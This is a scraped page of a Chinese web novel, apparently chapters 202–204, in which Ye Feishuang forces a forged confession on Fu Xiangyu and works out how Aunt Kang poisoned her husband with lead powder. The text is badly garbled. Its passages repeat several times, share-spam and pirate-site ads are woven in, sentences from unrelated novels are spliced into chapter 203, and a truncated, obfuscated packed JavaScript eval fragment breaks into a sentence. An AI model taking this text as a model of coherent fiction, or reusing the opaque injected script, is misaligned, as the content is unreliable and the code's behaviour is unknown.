她的贴身丫鬟喜鹊两只眼哭成了桃子,不断地让傅湘语坚持住、挺过去,但傅湘语的精神气已经散了大半了。 傅湘语这辈子就没这么难受过。 太疼了,感觉整个身体都被劈开了,每一次呼吸都是疼的。 一次醒来,她轻声问:“可有人来看过我? 喜鹊摇摇头:“阖府上下都忙着老太太的丧事呢,顾不上来看姑娘也正常,过几天就会有人来了。 傅湘语闭上眼,眼角湿润,不知是汗还是泪洇出的痕迹:“不会有人来的。 外祖母**,哥哥**,郑府没有人再重视她了,她 成了一颗弃子。 傅湘语不由得想起了以前花团锦簇的日子。 虽然她不姓郑但是她的吃穿用度一点儿都不比郑府的姑娘们差。因着外祖母偏爱什么好东西都给她她甚至比郑茜媛还过得好。 日子是从什么时候开始变糟的? 三年前叶绯霜回来。 她办了个诗会本想大出风头结果却搞砸了。然后日子就开始一路下坡做什么都不顺。 直至今日她的靠山全都没了她不知道还能如何转圜。 可是她不想死啊。她才十七岁还这么年轻她还没有嫁给如意郎君还没有施展才华名扬天下。 她的人生还没有正式开始呢。 想着想着傅湘语就潸然泪下抽噎使得背上的伤口更痛让她几欲晕厥。 昏昏沉沉间看见一个人走了进来。 她轻而易举地敲晕了喜鹊走到床前。 傅湘语在汗泪交织的模糊视线中看清了叶绯霜的脸。 她瞳孔巨颤:“是你。” “对呀是我。”叶绯霜说“来找傅姐姐办件事。” 她找自己能有什么好事?傅湘语连听都懒得听可她也知道这由不得她。 叶绯霜从怀中掏出一叠纸放在了傅湘语面前。 看到纸上字迹的一刹那傅湘语就猛然怔住。 因为纸上的字和她的字有五分相像! “我临摹得还不错吧?”叶绯霜显然对自己的杰作相当满意“五分像就足够了其实还能更像不过更像反而坏事。毕竟傅姐姐重病时写下的字肯定不同于往日。” 看清纸上的内容后 她不可置信地看向叶绯霜:“你……你竟然如此诬陷我?” “怎么是诬陷呢?这都是实话啊。”叶绯霜反问“不然你以为那天晚上我没杀你留你一命是为了什么?” 叶绯霜敲了敲这沓纸笑吟吟的:“留着你就是为了这件事啊。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 成了一颗弃子。 傅湘语不由得想起了以前,花团锦簇的日子。 虽然她不姓郑,但是她的吃穿用度一点儿都不比郑府的姑娘们差。因着外祖母偏爱,什么好东西都给她,她甚至比郑茜媛还过得好。 日子是从什么时候开始变糟的? 三年前,叶绯霜回来。 她办了个诗会,本想大出风头,结果却搞砸了。然后日子就开始一路下坡,做什么都不顺。 直至今日,她的靠山全都没了,她不知道还能如何转圜。 可是她不想死啊。她才十七岁,还这么年轻,她还没有嫁给如意郎君,还没有施展才华名扬天下。 她的人生还没有正式开始呢。 想着想着,傅湘语就潸然泪下,抽噎使得背上的伤口更痛,让她几欲晕厥。 昏昏沉沉间,看见一个人走了进来。 她轻而易举地敲晕了喜鹊,走到床前。 傅湘语在汗泪交织的模糊视线中,看清了叶绯霜的脸。 她瞳孔巨颤:“是你。” “对呀,是我。”叶绯霜说,“来找傅姐姐办件事。” 她找自己能有什么好事?傅湘语连听都懒得听,可她也知道这由不得她。 叶绯霜从怀中掏出一叠纸,放在了傅湘语面前。 看到纸上字迹的一刹那,傅湘语就猛然怔住。 因为纸上的字,和她的字有五分相像! “我临摹得还不错吧?”叶绯霜显然对自己的杰作相当满意,“五分像就足够了,其实还能更像,不过更像反而坏事。毕竟傅姐姐重病时写下的字,肯定不同于往日。” 看清纸上的内容后,傅湘语愈发震惊了。 她不可置信地看向叶绯霜:“你……你竟然如此诬陷我?” “怎么是诬陷呢?这都是实话啊。”叶绯霜反问,“不然你以为那天晚上我没杀你,留你一命,是为了什么?” 叶绯霜敲了敲这沓纸,笑吟吟的:“留着你,就是为了这件事啊。” 你的朋友正在书荒,快去帮帮他吧 成了一颗弃子。 傅湘语不由得想起了以前,花团锦簇的日子。 虽然她不姓郑,但是她的吃穿用度一点儿都不比郑府的姑娘们差。因着外祖母偏爱,什么好东西都给她,她甚至比郑茜媛还过得好。 日子是从什么时候开始变糟的? 三年前,叶绯霜回来。 她办了个诗会,本想大出风头,结果却搞砸了。然后日子就开始一路下坡,做什么都不顺。 直至今日,她的靠山全都没了,她不知道还能如何转圜。 可是她不想死啊。她才十七岁,还这么年轻,她还没有嫁给如意郎君,还没有施展才华名扬天下。 她的人生还没有正式开始呢。 想着想着,傅湘语就潸然泪下,抽噎使得背上的伤口更痛,让她几欲晕厥。 昏昏沉沉间,看见一个人走了进来。 她轻而易举地敲晕了喜鹊,走到床前。 傅湘语在汗泪交织的模糊视线中,看清了叶绯霜的脸。 她瞳孔巨颤:“是你。 “对呀,是我。叶绯霜说,“来找傅姐姐办件事。 她找自己能有什么好事?傅湘语连听都懒得听,可她也知道这由不得她。 叶绯霜从怀中掏出一叠纸,放在了傅湘语面前。 看到纸上字迹的一刹那,傅湘语就猛然怔住。 因为纸上的字,和她的字有五分相像! “我临摹得还不错吧?叶绯霜显然对自己的杰作相当满意,“五分像就足够了,其实还能更像,不过更像反而坏事。毕竟傅姐姐重病时写下的字,肯定不同于往日。 看清纸上的内容后,傅湘语愈发震惊了。 她不可置信地看向叶绯霜:“你……你竟然如此诬陷我? “怎么是诬陷呢?这都是实话啊。 叶绯霜敲了敲这沓纸,笑吟吟的:“留着你,就是为了这件事啊。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 成了一颗弃子。 傅湘语不由得想起了以前,花团锦簇的日子。 虽然她不姓郑,但是她的吃穿用度一点儿都不比郑府的姑娘们差。因着外祖母偏爱,什么好东西都给她,她甚至比郑茜媛还过得好。 日子是从什么时候开始变糟的? 三年前,叶绯霜回来。 她办了个诗会,本想大出风头,结果却搞砸了。然后日子就开始一路下坡,做什么都不顺。 直至今日,她的靠山全都没了,她不知道还能如何转圜。 可是她不想死啊。她才十七岁,还这么年轻,她还没有嫁给如意郎君,还没有施展才华名扬天下。 她的人生还没有正式开始呢。 想着想着,傅湘语就潸然泪下,抽噎使得背上的伤口更痛,让她几欲晕厥。 昏昏沉沉间,看见一个人走了进来。 她轻而易举地敲晕了喜鹊,走到床前。 傅湘语在汗泪交织的模糊视线中,看清了叶绯霜的脸。 她瞳孔巨颤:“是你。 “对呀,是我。叶绯霜说,“来找傅姐姐办件事。 她找自己能有什么好事?傅湘语连听都懒得听,可她也知道这由不得她。 叶绯霜从怀中掏出一叠纸,放在了傅湘语面前。 看到纸上字迹的一刹那,傅湘语就猛然怔住。 因为纸上的字,和她的字有五分相像! “我临摹得还不错吧?叶绯霜显然对自己的杰作相当满意,“五分像就足够了,其实还能更像,不过更像反而坏事。毕竟傅姐姐重病时写下的字,肯定不同于往日。 看清纸上的内容后,傅湘语愈发震惊了。 她不可置信地看向叶绯霜:“你……你竟然如此诬陷我? “怎么是诬陷呢?这都是实话啊。叶绯霜反问,“不然你以为那天晚上我没杀你,留你一命,是为了什么? 叶绯霜敲了敲这沓纸,笑吟吟的:“留着你,就是为了这件事啊。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 成了一颗弃子。 傅湘语不由得想起了以前,花团锦簇的日子。 虽然她不姓郑,但是她的吃穿用度一点儿都不比郑府的姑娘们差。因着外祖母偏爱,什么好东西都给她,她甚至比郑茜媛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她办了个诗会,本想大出风头,结果却搞砸了。然后日子就开始一路下坡,做什么都不顺。 直至今日,她的靠山全都没了,她不知道还能如何转圜。 可是她不想死啊。她才十七岁,还这么年轻,她还没有嫁给如意郎君,还没有施展才华名扬天下。 她的人生还没有正式开始呢。 想着想着,傅湘语就潸然泪下,抽噎使得背上的伤口更痛,让她几欲晕厥。 昏昏沉沉间,看见一个人走了进来。 她轻而易举地敲晕了喜鹊,走到床前。 傅湘语在汗泪交织的模糊视线中,看清了叶绯霜的脸。 她瞳孔巨颤:“是你。 “对呀,是我。 说的域名caixs?(请来才小 说 看最新章节 完整章节)叶绯霜说,“来找傅姐姐办件事。 她找自己能有什么好事?傅湘语连听都懒得听,可她也知道这由不得她。 叶绯霜从怀中掏出一叠纸,放在了傅湘语面前。 看到纸上字迹的一刹那,傅湘语就猛然怔住。 因为纸上的字,和她的字有五分相像! “我临摹得还不错吧?叶绯霜显然对自己的杰作相当满意,“五分像就足够了,其实还能更像,不过更像反而坏事。毕竟傅姐姐重病时写下的字,肯定不同于往日。 看清纸上的内容后,傅湘语愈发震惊了。 她不可置信地看向叶绯霜:“你……你竟然如此诬陷我? “怎么是诬陷呢?这都是实话啊。叶绯霜反问,“不然你以为那天晚上我没杀你,留你一命,是为了什么? 叶绯霜敲了敲这沓纸,笑吟吟的:“留着你,就是为了这件事啊。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 成了一颗弃子。 傅湘语不由得想起了以前,花团锦簇的日子。 虽然她不姓郑,但是她的吃穿用度一点儿都不比郑府的姑娘们差。因着外祖母偏爱,什么好东西都给她,她甚至比郑茜媛还过得好。 日子是从什么时候开始变糟的? 三年前,叶绯霜回来。 她办了个诗会,本想大出风头,结果却搞砸了。然后日子就开始一路下坡,做什么都不顺。 直至今日,她的靠山全都没了,她不知道还能如何转圜。 可是她不想死啊。她才十七岁,还这么年轻,她还没有嫁给如意郎君,还没有施展才华名扬天下。 她的人生还没有正式开始呢。 想着想着,傅湘语就潸然泪下,抽噎使得背上的伤口更痛,让她几欲晕厥。 昏昏沉沉间,看见一个人走了进来。 她轻而易举地敲晕了喜鹊,走到床前。 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 傅湘语在汗泪交织的模糊视线中,看清了叶绯霜的脸。 她瞳孔巨颤:“是你。” “对呀,是我。”叶绯霜说,“来找傅姐姐办件事。” 她找自己能有什么好事?傅湘语连听都懒得听,可她也知道这由不得她。 叶绯霜从怀中掏出一叠纸,放在了傅湘语面前。 看到纸上字迹的一刹那,傅湘语就猛然怔住。 因为纸上的字,和她的字有五分相像! “我临摹得还不错吧?”叶绯霜显然对自己的杰作相当满意,“五分像就足够了,其实还能更像,不过更像反而坏事。毕竟傅姐姐重病时写下的字,肯定不同于往日。” 看清纸上的内容后,傅湘语愈发震惊了。 她不可置信地看向叶绯霜:“你……你竟然如此诬陷我?” “怎么是诬陷呢?这都是实话啊。”叶绯霜反问,“不然你以为那天晚上我没杀你,留你一命,是为了什么?” 叶绯霜敲了敲这沓纸,笑吟吟的:“留着你,就是为了这件事啊。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第一卷 第203章 臭名昭著 这一叠纸,是一封长长的供状。 以傅湘语的口吻,写了郑老太太做过的许多恶事,包括但不限于: **包括杨姨娘和郑清在内的老国公的许多妾室和子嗣。 牧戈早猜到唐雪会有这样的反应。笑着举起左手在唐雪的眼前晃了晃。 哈利·波特忽然在某处驻足,他睁开眼睛,便是一堆杂物堆积在面前,他微蹙了一下眉毛,随即却出手准确地抓向一个貌不惊人的盒子,直接拿了起来。 见管家为了帮自己而被宜妃斥责,江染离连忙出声,“无论额娘今天说什么,我都不会同意弘晸、弘瞕、弘相、敏颜、果果送给他人教养”。 所以他想尽了办法想要离开这里,但是每一次他想要逃离的时候,毒蝎都会像是鬼魅一样的出现在他的面前。 直到白雨再次出现在那栋多层别墅时,终于又听见了那个沙哑却又无比熟悉的声音。 白雨说这番话,首先是确实想问问对方,打开枷锁的过程,由于自己枷锁冲开时,处于生死的关口,完全不得要领。 “那样最好,你随意,我回屋睡了。”她懒懒的打了个哈欠,头也不回的转身朝着自己的房间走进去。 江染离一直都没有想明白这个问题,既然历史上压根没有她的存在,为什么她会被命运安排穿越而来,成为胤禟的侧福晋,为什么,还有另外的人,也成为了他的侧福晋? “哼!看你的表情,我就更要去了!”海伦娜坚决不放过任何一条蛛丝马迹。 七大势力直接占领了四座山头,这片山脉总共只有八座山头,这一下就去了四座山头,仅剩的四座山头还未曾有主。 一边端着一杯清茶慢悠悠的喝着,一边只是静静的用让人感觉瘆得慌,又感觉充满了威严的白色双眸看着投影在眼前的亚雷斯塔虚影,大筒木辉夜什么话也不说。 当然,顾玙还有别的事情要关心,甚至比这个更麻烦,比如那两柄剑。 虽然对比赛的难度嗤之以鼻,但如果能获得最后的总冠军,始终是件值得骄傲的事情。更何况最后的总冠军还有10000元的现金奖励,名利双收的事情王怡媛还是很乐意去争取的。 进了屋刚想说些什么,一下子又想起来自己的空间里还有上次弄来的一只大白鹰,也不知道这家伙怎么样了。 “我云裳对天道起誓,如果我云裳言而无信,甘愿遭受天罚。”云裳起誓道。 白天高峰已经仔细堪察过了,事隔十年,这里又被重新装修过,并没有留下什么证据。 莫灵灵忍不住咒骂,对于丁白雪当初背叛莫冷这件事也是最为气愤不过,否则的话也不会亲自动手想要**丁白雪。 他手里的财产大多是从巴尔德尔那拿到的,虽然数量倒不少,但那些金币是魔界通用的款式,在帕特里克大陆用魔界的货币,和在脖子上挂个[老子是魔族]的牌子没什么区别就是。 繁茂的树木被精心修剪,虽然枝叶茂密,但是却丝毫没有拥挤的感觉,柔软的草地叫人如踩在精致的匠人织就的上等地毯上,更有种踩在云端的错觉。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 这一叠纸,是一封长长的供状。 以傅湘语的口吻,写了郑老太太做过的许多恶事,包括但不限于: **包括杨姨娘和郑清在内的老国公的许多妾室和子嗣。 牧戈早猜到唐雪会有这样的反应。笑着举起左手在唐雪的眼前晃了晃。 哈利·波特忽然在某处驻足,他睁开眼睛,便是一堆杂物堆积在面前,他微蹙了一下眉毛,随即却出手准确地抓向一个貌不惊人的盒子,直接拿了起来。 见管家为了帮自己而被宜妃斥责,江染离连忙出声,“无论额娘今天说什么,我都不会同意弘晸、弘瞕、弘相、敏颜、果果送给他人教养”。 所以他想尽了办法想要离开这里,但是每一次他想要逃离的时候,毒蝎都会像是鬼魅一样的出现在他的面前。 直到白雨再次出现在那栋多层别墅时,终于又听见了那个沙哑却又无比熟悉的声音。 白雨说这番话,首先是确实想问问对方,打开枷锁的过程,由于自己枷锁冲开时,处于生死的关口,完全不得要领。 “那样最好,你随意,我回屋睡了。”她懒懒的打了个哈欠,头也不回的转身朝着自己的房间走进去。 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这一叠纸是一封长长的供状。 以傅湘语的口吻写了郑老太太做过的许多恶事包括但不限于: **包括杨姨娘和郑清在内的老国公的许多妾室和子嗣。 牧戈早猜到唐雪会有这样的反应。笑着举起左手在唐雪的眼前晃了晃。 哈利·波特忽然在某处驻足他睁开眼睛便是一堆杂物堆积在面前他微蹙了一下眉毛 见管家为了帮自己而被宜妃斥责江染离连忙出声“无论额娘今天说什么我都不会同意弘晸、弘瞕、弘相、敏颜、果果送给他人教养”。 所以他想尽了办法想要离开这里但是每一次他想要逃离的时候毒蝎都会像是鬼魅一样的出现在他的面前。 直到白雨再次出现在那栋多层别墅时终于又听见了那个沙哑却又无比熟悉的声音。 白雨说这番话首先是确实想问问对方打开枷锁的过程由于自己枷锁冲开时处于生死的关口完全不得要领。 “那样最好你随意我回屋睡了。”她懒懒的打了个哈欠头也不回的转身朝着自己的房间走进去。 江染离一直都没有想明白这个问题既然历史上压根没有她的存在为什么她会被命运安排穿越而来成为胤禟的侧福晋为什么还有另外的人也成为了他的侧福晋? “哼!看你的表情我就更要去了!”海伦娜坚决不放过任何一条蛛丝马迹。 七大势力直接占领了四座山头这片山脉总共只有八座山头这一下就去了四座山头仅剩的四座山头还未曾有主。 一边端着一杯清茶慢悠悠的喝着一边只是静静的用让人感觉瘆得慌又感觉充满了威严的白色双眸看着投影在眼前的亚雷斯塔虚影大筒木辉夜什么话也不说。 当然顾玙还有别的事情要关心甚至比这个更麻烦比如那两柄剑。 虽然对比赛的难度嗤之以鼻但如果能获得最后的总冠军始终是件值得骄傲的事情。更何况最后的总冠军还有10000元的现金奖励名利双收的事情王怡媛还是很乐意去争取的。 进了屋刚想说些什么一下子又想起来自己的空间里还有上次弄来的一只大白鹰也不知道这家伙怎么样了。 “我云裳对天道起誓如果我云裳言而无信甘愿遭受天罚。”云裳起誓道。 白天高峰已经仔细堪察过了事隔十年这里又被重新装修过并没有留下什么证据。 莫灵灵忍不住咒骂对于丁白雪当初背叛莫冷这件事也是最为气愤不过否则的话也不会亲自动手想要**丁白雪。 他手里的财产大多是从巴尔德尔那拿到的虽然数量倒不少但那些金币是魔界通用的款式在帕特里克大陆用魔界的货币和在脖子上挂个[老子是魔族]的牌子没什么区别就是。 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以傅湘语的口吻写了郑老太太做过的许多恶事包括但不限于: **包括杨姨娘和郑清在内的老国公的许多妾室和子嗣。 牧戈早猜到唐雪会有这样的反应。笑着举起左手在唐雪的眼前晃了晃。 哈利·波特忽然在某处驻足他睁开眼睛便是一堆杂物堆积在面前他微蹙了一下眉毛随即却出手准确地抓向一个貌不惊人的盒子直接拿了起来。 见管家为了帮自己而被宜妃斥责江染离连忙出声“无论额娘今天说什么我都不会同意弘晸、弘瞕、弘相、敏颜、果果送给他人教养”。 所以他想尽了办法想要离开这里但是每一次他想要逃离的时候毒蝎都会像是鬼魅一样的出现在他的面前。 直到白雨再次出现在那栋多层别墅时终于又听见了那个沙哑却又无比熟悉的声音。 白雨说这番话首先是确实想问问对方打开枷锁的过程由于自己枷锁冲开时处于生死的关口完全不得要领。 “那样最好你随意我回屋睡了。”她懒懒的打了个哈欠头也不回的转身朝着自己的房间走进去。 江染离一直都没有想明白这个问题既然历史上压根没有她的存在为什么她会被命运安排穿越而来成为胤禟的侧福晋为什么还有另外的人也成为了他的侧福晋? “哼!看你的表情我就更要去了!”海伦娜坚决不放过任何一条蛛丝马迹。 七大势力直接占领了四座山头这片山脉总共只有八座山头这一下就去了四座山头仅剩的四座山头还未曾有主。 一边端着一杯清茶慢悠悠的喝着一边只是静静的用让人感觉瘆得慌又感觉充满了威严的白色双眸看着投影在眼前的亚雷斯塔虚影大筒木辉夜什么话也不说。 当然顾玙还有别的事情要关心甚至比这个更麻烦比如那两柄剑。 虽然对比赛的难度嗤之以鼻但如果能获得最后的总冠军始终是件值得骄傲的事情。更何况最后的总冠军还有10000元的现金奖励名利双收的事情王怡媛还是很乐意去争取的。 进了屋刚想说些什么一下子又想起来自己的空间里还有上次弄来的一只大白鹰也不知道这家伙怎么样了。 “我云裳对天道起誓如果我云裳言而无信甘愿遭受天罚。”云裳起誓道。 白天高峰已经仔细堪察过了事隔十年这里又被重新装修过并没有留下什么证据。 莫灵灵忍不住咒骂对于丁白雪当初背叛莫冷这件事也是最为气愤不过否则的话也不会亲自动手想要**丁白雪。 他手里的财产大多是从巴尔德尔那拿到的虽然数量倒不少但那些金币是魔界通用的款式在帕特里克大陆用魔界的货币和在脖子上挂个[老子是魔族]的牌子没什么区别就是。 繁茂的树木被精心修剪虽然枝叶茂密但是却丝毫没有拥挤的感觉柔软的草地叫人如踩在精致的匠人织就的上等地毯上更有种踩在云端的错觉。 你的朋友正在书荒,快去帮帮他吧 这一叠纸,是一封长长的供状。 以傅湘语的口吻,写了郑老太太做过的许多恶事,包括但不限于: **包括杨姨娘和郑清在内的老国公的许多妾室和子嗣。 牧戈早猜到唐雪会有这样的反应。笑着举起左手在唐雪的眼前晃了晃。 哈利·波特忽然在某处驻足,他睁开眼睛,便是一堆杂物堆积在面前,他微蹙了一下眉毛,随即却出手准确地抓向一个貌不惊人的盒子,直接拿了起来。 见管家为了帮自己而被宜妃斥责,江染离连忙出声,“无论额娘今天说什么,我都不会同意弘晸、弘瞕、弘相、敏颜、果果送给他人教养”。 所以他想尽了办法想要离开这里,但是每一次他想要逃离的时候,毒蝎都会像是鬼魅一样的出现在他的面前。 直到白雨再次出现在那栋多层别墅时,终于又听见了那个沙哑却又无比熟悉的声音。 白雨说这番话,首先是确实想问问对方,打开枷锁的过程,由于自己枷锁冲开时,处于生死的关口,完全不得要领。 小说全网首发无弹窗免费阅读caixs№(请来才 小说 看最新章节 完整章节) “那样最好,你随意,我回屋睡了。”她懒懒的打了个哈欠,头也不回的转身朝着自己的房间走进去。 江染离一直都没有想明白这个问题,既然历史上压根没有她的存在,为什么她会被命运安排穿越而来,成为胤禟的侧福晋,为什么,还有另外的人,也成为了他的侧福晋? “哼!看你的表情,我就更要去了!”海伦娜坚决不放过任何一条蛛丝马迹。 七大势力直接占领了四座山头,这片山脉总共只有八座山头,这一下就去了四座山头,仅剩的四座山头还未曾有主。 一边端着一杯清茶慢悠悠的喝着,一边只是静静的用让人感觉瘆得慌,又感觉充满了威严的白色双眸看着投影在眼前的亚雷斯塔虚影,大筒木辉夜什么话也不说。 当然,顾玙还有别的事情要关心,甚至比这个更麻烦,比如那两柄剑。 虽然对比赛的难度嗤之以鼻,但如果能获得最后的总冠军,始终是件值得骄傲的事情。更何况最后的总冠军还有10000元的现金奖励,名利双收的事情王怡媛还是很乐意去争取的。 进了屋刚想说些什么,一下子又想起来自己的空间里还有上次弄来的一只大白鹰,也不知道这家伙怎么样了。 “我云裳对天道起誓,如果我云裳言而无信,甘愿遭受天罚。”云裳起誓道。 白天高峰已经仔细堪察过了,事隔十年,这里又被重新装修过,并没有留下什么证据。 莫灵灵忍不住咒骂,对于丁白雪当初背叛莫冷这件事也是最为气愤不过,否则的话也不会亲自动手想要**丁白雪。 他手里的财产大多是从巴尔德尔那拿到的,虽然数量倒不少,但那些金币是魔界通用的款式,在帕特里克大陆用魔界的货币,和在脖子上挂个[老子是魔族]的牌子没什么区别就是。 繁茂的树木被精心修剪,虽然枝叶茂密,但是却丝毫没有拥挤的感觉,柔软的草地叫人如踩在精致的匠人织就的上等地毯上,更有种踩在云端的错觉。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第204章 说的都对 晨起庭院静静,雨丝轻拂面颊。 叶绯霜和康氏守完一夜的灵,从敬孝堂出来,往五房去。 一进正屋,扑面而来的就是浓重的药味。 为郑丰守夜的下人急忙行礼:“夫人,五姑娘。” 康氏说:“五姑娘来探望老爷。你去让小厨房准备点早膳,我们一会儿用。” 下人连忙去了。 叶绯霜走到床边,打量正在熟睡的郑丰。 从过年到现在,满打满算还不够五个月,郑丰就和变了个人似的,瘦得几乎脱了相。 本来肥硕的脸颊都凹陷了下去,露在被子外边的胳膊细了一大圈,皮肉松松垮垮,像是个被撑大后缩不回去的布袋子。 “他不会死吧?”叶绯霜问。 “当然不会。”康氏撇嘴,“他可是五房的老爷,我们这么些人还都指望着他过活呢。” “这就好,否则孤儿寡母太难了。郑家那些人也都不是善茬,多少人眼巴巴地盯着五房的产业呢。只要五叔还在,他们就不敢明目张胆地打主意。更何况现在郑府臭名昭著,他们更不敢了。” 康氏冷笑道:“给我们赚回这么些银子,算是他唯一的用处了。” 现在的康氏发生了很大的变化。 她站得笔直,挺着脖子,说话声也大了许多,不再是外人面前唯唯诺诺、动不动就只会掉眼泪的受气包样。 她嫌恶地白了郑丰一眼,拽着叶绯霜走到外间坐下,才问:“五姑娘是什么时候知道的?” “郑文宝的周岁宴后起了疑。”叶绯霜道,“记得郑文宝坠楼后,当时有人分析,推奶娘的人一定身量娇小,所以稍微一弯腰就能被墙挡住,让下边的人看不见。 对方跑下揽月楼时,院中已经因为郑文宝的坠楼而吵闹了起来,五叔也即刻采取了行动封园,但是没有抓到凶手。 这时间太短,凶手不会跑很远,除非她找到地方躲了起来。离揽月楼最近的就是五房的院子,后来杜知府也是凭借这个查出是十七姨娘派人做的。” 叶绯霜顿了一下,继续道:“但我有一次遇到了十七姨娘,她向我申辩,说她冤枉。然后我派人在府里打听了一下十七姨娘,都说她为人忠厚老实,胆子也不大,我觉得她不敢害郑文宝,她大 概真的替人背黑锅了。 杜大人廉洁奉公,能力很强,上任以来查出的**、疑案有许多。我都能感觉出不是十七姨娘做的,他岂会察觉不出?除非真正的凶手是他想保护的人。 康氏支着脸,津津有味地听着她的分析。 叶绯霜继续说:“实不相瞒,从五房回来后,我就让人查了五房的行迹,知道了五叔这些年都去了哪里做生意。也查出十三四年前,五叔在嶂州。 好巧不巧,那个时候的嶂州知州就是杜大人。所以,五婶应该早就和杜大人认识了吧? 康氏扬起唇角,慈爱又欣赏地看着叶绯霜:“你认为我是害郑文宝的凶手?杜大人袒护了我? “不是您。叶绯霜摇头,“是茹儿。 她对康氏笑了一下,继续道:“五叔被人……呃,那啥的那天,茹儿被审问时,吓得身子发软,我上前扶了她一把,就那个时候,我闻到了她头发上有一股极淡的香味。 我很确定,那是醉心花燃烧后的味道。醉心花有很强的致幻作用,还可以让人丧失意识,所以那晚给五叔守夜的下人们才会纷纷晕过去,其实他们根本不是被鬼吓晕的。 “当然,他们的确见到了鬼。叶绯霜补充道,“是五婶您扮的。 康氏饶有兴致地问:“咱们这里知道醉心花的人不多,你竟然知道。 叶绯霜岂止知道,她简直太熟悉了。 醉心花又名曼陀罗花,有镇痛作用。前世,她最后的那两年,被病痛折磨得厉害时,就是靠醉心花撑着的。 一开始是在熏香里掺了醉心花粉,后来这点剂量不管用了,她就开始入药口服,再后来口服也不管用了,她就只能靠自己捱。 醉心花用得太多就是**,她难受得死去活来时,不止一次想,毒死她算了。 她求陈宴,多给她药里加一些,让她死,不要再被病痛折磨了。 但是陈宴并没有答应,依旧精准控制着用量。 真的太熟悉了,她觉得自己死的时候都应该被醉心花腌入味了。 所以即便茹儿头发上沾的香味淡到一般人闻不出来,她还是闻到了。 康氏又问:“你如何断定那鬼是我扮的? “我曾听人说过,如果一个人被 害了,那嫌疑最大的就是夫或妻。如果一个人是在密闭的房间里被害的,那嫌疑最大的就是第一个进入房间的人。这两点,五婶您都占了。 那晚下人们的尖叫声惊动了整个院子,五婶就是第一个赶到的,不是吗?其实说赶到也不对,您就根本没走,只是把那层装扮脱下来了而已。 五房闹鬼后,全府又进行了一次大搜查,但是没有找出证据。五婶应该就把那套行头藏在了五叔的房间里。毕竟那天,五叔的房间是唯一没有被搜查的。 一是因为大夫们在,二是因为谁也想不到有人会胆大到把证据藏在受害者房间里。” 康氏不禁鼓起掌来,赞道:“霜霜,你若是个男儿,必然也能成为一位青天大老爷。” “五婶谬赞。” 前世陈宴给她讲过那么多案子,她有了自己的判断力也不奇怪。 叶绯霜继续说:“而且五叔也不是病了,他其实是**了。” 康氏笑吟吟的,不否认:“你这都看出来了?” “铅粉**,对吧?我有一次回府时撞见了在花园里玩竹蜻蜓的茹儿,哦我当时还分给她一串糖葫芦。当时茹儿的身上、手上沾了许多土,而郑府花园一向干净整洁,道边的花树也都不染纤尘。我猜她可能去了墙根、林子深处那些一般没人打扫的地方。 我回去洗手时,发现手上沾了些白色粉末,因为太少了,当时我无法判断出这是什么。直到五叔生病,我注意到他齿间有铅线,便猜到了那些白色的粉末是铅粉,从竹蜻蜓里掉出来的。 五叔管得极严,房中的每一笔支出都要过问,最重要的是不让五房的内眷和外人接触,所以您让外边的人把铅粉装进竹蜻蜓的空杆里,就能越过墙头递进来了。 茹儿年龄小,爱玩,就由她去拿竹蜻蜓,也不会惹人怀疑。” 康氏再次鼓起掌来:“你说的都对,事情的确就是这样的。” “五婶恨五叔吗?” “当然恨。”康氏磨了磨牙。 “因为他纳妾?” “是啊。把一个个好好的姑娘掳来,又不好好对她们,好色又薄情的臭男人,被我阉了也是活该!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 害了,那嫌疑最大的就是夫或妻。如果一个人是在密闭的房间里被害的,那嫌疑最大的就是第一个进入房间的人。这两点,五婶您都占了。 那晚下人们的尖叫声惊动了整个院子,五婶就是第一个赶到的,不是吗?其实说赶到也不对,您就根本没走,只是把那层装扮脱下来了而已。 五房闹鬼后,全府又进行了一次大搜查,但是没有找出证据。五婶应该就把那套行头藏在了五叔的房间里。毕竟那天,五叔的房间是唯一没有被搜查的。 一是因为大夫们在,二是因为谁也想不到有人会胆大到把证据藏在受害者房间里。” 康氏不禁鼓起掌来,赞道:“霜霜,你若是个男儿,必然也能成为一位青天大老爷。” “五婶谬赞。” 前世陈宴给她讲过那么多案子,她有了自己的判断力也不奇怪。 叶绯霜继续说:“而且五叔也不是病了,他其实是**了。” 康氏笑吟吟的,不否认:“你这都看出来了?” “铅粉**,对吧?我有一次回府时撞见了在花园里玩竹蜻蜓的茹儿,哦我当时还分给她一串糖葫芦。当时茹儿的身上、手上沾了许多土,而郑府花园一向干净整洁,道边的花树也都不染纤尘。我猜她可能去了墙根、林子深处那些一般没人打扫的地方。 我回去洗手时,发现手上沾了些白色粉末,因为太少了,当时我无法判断出这是什么。直到五叔生病,我注意到他齿间有铅线,便猜到了那些白色的粉末是铅粉,从竹蜻蜓里掉出来的。 五叔管得极严,房中的每一笔支出都要过问,最重要的是不让五房的内眷和外人接触,所以您让外边的人把铅粉装进竹蜻蜓的空杆里,就能越过墙头递进来了。 茹儿年龄小,爱玩,就由她去拿竹蜻蜓,也不会惹人怀疑。” 康氏再次鼓起掌来:“你说的都对,事情的确就是这样的。” “五婶恨五叔吗?” “当然恨。”康氏磨了磨牙。 “因为他纳妾?” “是啊。把一个个好好的姑娘掳来,又不好好对她们,好色又薄情的臭男人,被我阉了也是活该!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 害了,那嫌疑最大的就是夫或妻。如果一个人是在密闭的房间里被害的,那嫌疑最大的就是第一个进入房间的人。这两点,五婶您都占了。 那晚下人们的尖叫声惊动了整个院子,五婶就是第一个赶到的,不是吗?其实说赶到也不对,您就根本没走,只是把那层装扮脱下来了而已。 五房闹鬼后,全府又进行了一次大搜查,但是没有找出证据。五婶应该就把那套行头藏在了五叔的房间里。毕竟那天,五叔的房间是唯一没有被搜查的。 